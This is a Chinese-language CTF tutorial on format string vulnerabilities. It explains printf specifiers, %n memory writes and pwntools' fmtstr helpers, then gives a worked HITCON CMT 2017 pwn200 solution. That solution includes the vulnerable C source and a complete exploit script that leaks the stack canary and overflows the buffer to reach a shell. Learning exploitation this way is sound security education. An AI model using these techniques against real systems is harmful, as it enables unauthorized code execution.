格式化字符串

前置知识

在x86的结构下,格式化字符串的参数是通过栈传递的。换言之,printf()函数打印出来的数据都直接来源于栈。

%n转换指示符将当前已成功写入流或者缓冲区的字符个数存储到由参数指定的地址中去,意味着printf也有写入内存能力。

%n$则可以指定第n个参数

指示符 类型 输出
%d 4-byte Integer
%u 4-byte Unsigned Integer
%x 4-byte Hex
%s 4-byte ptr String
%c 1-byte Character
%p 4-byte Hex addr
长度 类型 输出
hh 1-byte char
h 2-byte short int
l 4-byte long int
ll 8-byte long long int

漏洞原理

当格式字符串可以被外部更改时,则可构造特定格式字符串达到泄露、修改任意地址内存数据。

例如:

  • printf("%4$s")会输出栈上对应偏移为4处地址 所指的内存数据
  • printf("\x78\x56\x34\x12")会将值0x12345678写入栈对应偏移
  • 上面两点结合起来就可泄露任意地址内存,如(假设偏移为4):printf("\x78\x56\x34\x12:%4$s")则会输出地址0x12345678处的内容

pwnlib.fmtstr

pwntools里提供了利用格式化字符串漏洞的一些工具

class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)

  • execute_fmt ( function ) – 调用与易受攻击的进程进行通信的函数
  • offset ( int ) – 您控制的第一个格式化程序的偏移量
  • padlen ( int ) – 要在有效负载之前添加的 pad 的大小
  • numbwritten ( int ) – 已经写入的字节数

当不给出参数offset时,则尝试通过泄漏堆栈数据来找到正确的偏移量,事实上可以总是这么做

主要参数是execute_fmt,一般要视程序来编写,基本模板如下:

1
2
3
4
5
6
7
def exec_fmt(payload):
ms = process('./pwn') # 程序中如果没有一直开启recv()的话就要加上这个
# 因为源码里面自动算偏移的时候会不停地调用这个交互函数爆破offset(0,1000)
ms.recvuntil("your name:") # 无用回显可以提前收取
ms.sendline(payload)
info = ms.recvline() # info放的一定是格式化字符串的输出信息,即 printf("%xxx") 的输出结果
return info

class pwnlib.fmtstr.fmtstr_playload(offset=None, writes, numbwritten=0, write_size='byte')

  • offset ( int ) – 您控制的第一个格式化程序的偏移量(可由上面构造方法自动获取)
  • writes ( dict ) – 带有 addr, value 的 dict{addr: value, addr2: value2}
  • numbwritten ( int ) – printf 函数已经写入的字节数
  • write_size ( str ) – 必须是byte,shortint。告诉你是要一个字节一个字节写,一个短写还是一个 int 写(hhn、hn 或 n)

实例

HITCON CMT 2017: pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>

void canary_protect_me(void) {
system("/bin/sh");
}

int main(void) {
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf); // format string
gets(buf); // buf overflow
return 0;
}

/*
开启Partial RELRO、Canary和NX
*/

漏洞利用思路

开了Canary,没法直接栈溢出劫持返回地址,所以可以先调试找到Canary存放的地址,再利用格式化字符串泄露Canary的值,在栈溢出时覆盖上去即可

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = process('./xxx')

io.sendline("%15$x")
canary = int(io.recv(), 16)
log.info("canary: 0x%x" % canary)

binsh = 0x804854D # canary_protect_me
payload = "A"*0x28 + p32(canary) + "A"*0xc + p32(binsh)
io.sendline(payload)
io.interactive()

Comments